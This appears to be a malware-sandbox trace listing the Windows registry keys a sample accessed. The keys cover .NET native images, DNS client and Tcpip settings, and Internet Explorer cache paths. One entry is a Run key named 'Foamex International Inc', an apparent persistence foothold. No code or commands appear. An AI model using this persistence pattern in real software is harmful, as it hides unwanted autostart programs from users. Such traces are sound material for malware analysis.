HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5a8de2c3\2b1a4e4\47\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\73843e06\43a920ef\66\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\73843e06\43a920ef\66\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\73843e06\43a920ef\66\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\73843e06\43a920ef\66\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\73843e06\43a920ef\66\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\141dfd70\6b79efab\43\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\141dfd70\6b79efab\43\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\141dfd70\6b79efab\43\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\141dfd70\6b79efab\43\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\141dfd70\6b79efab\43\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\Microsoft.JScript,8.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Configuration.Install,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\COM3\FinalizerActivityBypass
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\WBEM\CIMOM\EnableObjectValidation
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Data.SqlXml,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\InstallationType
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\EnableConsoleTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\ggg_RASAPI32\EnableFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\ggg_RASAPI32\FileTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\ggg_RASAPI32\EnableConsoleTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\ggg_RASAPI32\ConsoleTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\ggg_RASAPI32\MaxFileSize
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\ggg_RASAPI32\FileDirectory
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\Library
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\IsMultiInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\First Counter
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\CategoryOptions
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\FileMappingSize
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\Counter Names
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\QueryAdapterName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\QueryAdapterName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DisableAdapterDomainName
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\UseDomainNameDevolution
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\UseDomainNameDevolution
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\UseDomainNameDevolution
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\DomainNameDevolutionLevel
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DomainNameDevolutionLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\PrioritizeRecordData
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\PrioritizeRecordData
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\PrioritizeRecordData
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\AllowUnqualifiedQuery
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\AllowUnqualifiedQuery
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\AllowUnqualifiedQuery
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\AppendToMultiLabelName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\AppendToMultiLabelName
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\ScreenBadTlds
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\ScreenBadTlds
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\ScreenUnreachableServers
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\ScreenUnreachableServers
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\ScreenDefaultServers
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\ScreenDefaultServers
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\DynamicServerQueryOrder
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DynamicServerQueryOrder
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\FilterClusterIp
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\FilterClusterIp
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\WaitForNameErrorOnAll
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\WaitForNameErrorOnAll
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\UseEdns
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\UseEdns
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\DnsSecureNameQueryFallback
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DnsSecureNameQueryFallback
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\EnableDAForAllNetworks
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\EnableDAForAllNetworks
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\DirectAccessQueryOrder
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DirectAccessQueryOrder
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\QueryIpMatching
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\QueryIpMatching
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\UseHostsFile
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\UseHostsFile
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\AddrConfigControl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\AddrConfigControl
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegistrationEnabled
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegistrationEnabled
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DisableDynamicUpdate
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegisterPrimaryName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegisterPrimaryName
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegisterAdapterName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegisterAdapterName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\EnableAdapterDomainNameRegistration
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegisterReverseLookup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegisterReverseLookup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DisableReverseAddressRegistrations
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegisterWanAdapters
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegisterWanAdapters
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DisableWanDynamicUpdate
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegistrationTtl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegistrationTtl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DefaultRegistrationTTL
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegistrationRefreshInterval
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegistrationRefreshInterval
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DefaultRegistrationRefreshInterval
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegistrationMaxAddressCount
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegistrationMaxAddressCount
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\MaxNumberOfAddressesToRegister
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\UpdateSecurityLevel
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\UpdateSecurityLevel
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\UpdateSecurityLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\UpdateTopLevelDomainZones
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\UpdateTopLevelDomainZones
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\DowncaseSpnCauseApiOwnerIsTooLazy
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DowncaseSpnCauseApiOwnerIsTooLazy
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegistrationOverwrite
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegistrationOverwrite
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\MaxCacheSize
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\MaxCacheSize
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\MaxCacheTtl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\MaxCacheTtl
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\MaxNegativeCacheTtl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\MaxNegativeCacheTtl
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\AdapterTimeoutLimit
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\AdapterTimeoutLimit
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\ServerPriorityTimeLimit
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\ServerPriorityTimeLimit
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\MaxCachedSockets
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\MaxCachedSockets
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\EnableMulticast
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\MulticastResponderFlags
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\MulticastResponderFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\MulticastSenderFlags
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\MulticastSenderFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\MulticastSenderMaxTimeout
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\MulticastSenderMaxTimeout
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DnsTest
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\UseCompartments
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\CacheAllCompartments
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\UseNewRegistration
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\ResolverRegistration
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\ResolverRegistrationOnly
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DnsQueryTimeouts
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DnsQueryTimeouts
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DnsQuickQueryTimeouts
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DnsQuickQueryTimeouts
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\PrimaryDomainName
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\EnableAdapterDomainNameRegistration
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\AdapterDomainName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\QueryAdapterName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\DisableAdapterDomainName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\RegistrationEnabled
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\RegisterAdapterName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\RegistrationMaxAddressCount
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\MaxNumberOfAddressesToRegister
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\Domain
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\DhcpDomain
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\QueryAdapterName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\DisableAdapterDomainName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\RegistrationEnabled
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\DisableDynamicUpdate
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\RegisterAdapterName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\EnableAdapterDomainNameRegistration
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\RegistrationMaxAddressCount
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\MaxNumberOfAddressesToRegister
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\Domain
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\DhcpDomain
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\SearchList
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\SearchList
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\CEIPEnable
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetBT\Parameters\NodeType
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetBT\Parameters\DhcpNodeType
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetBT\Parameters\ScopeId
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetBT\Parameters\DhcpScopeId
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetBT\Parameters\EnableProxy
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetBT\Parameters\EnableDns
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\ProductId
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\DbgJITDebugLaunchSetting
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\DbgManagedDebugger
HKEY_CURRENT_USER\Control Panel\International\sYearMonth
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Foamex International Inc
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\Url History\DaysToKeep
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\SyncMode5
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\SessionStartTimeDefaultDeltaSecs
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Signature
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\PerUserItem
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\PerUserItem
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CacheLimit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\PerUserItem
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\PerUserItem
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CacheLimit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\PerUserItem
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\PerUserItem
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CacheLimit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\DOMStore\CacheRepair
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\DOMStore\CachePath
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\DOMStore\CachePrefix
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\DOMStore\CacheLimit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\DOMStore\CacheOptions
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\feedplat\CacheRepair
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\feedplat\CachePath
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\feedplat\CachePrefix
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\feedplat\CacheLimit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\feedplat\CacheOptions
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\iecompat\CacheRepair
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\iecompat\CachePath
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\iecompat\CachePrefix
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\iecompat\CacheLimit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\iecompat\CacheOptions
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\ietld\CacheRepair
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\ietld\CachePath
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\ietld\CachePrefix
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\ietld\CacheLimit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\ietld\CacheOptions
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016040520160406\CacheRepair
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016040520160406\CachePath
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016040520160406\CachePrefix
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016040520160406\CacheLimit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016040520160406\CacheOptions
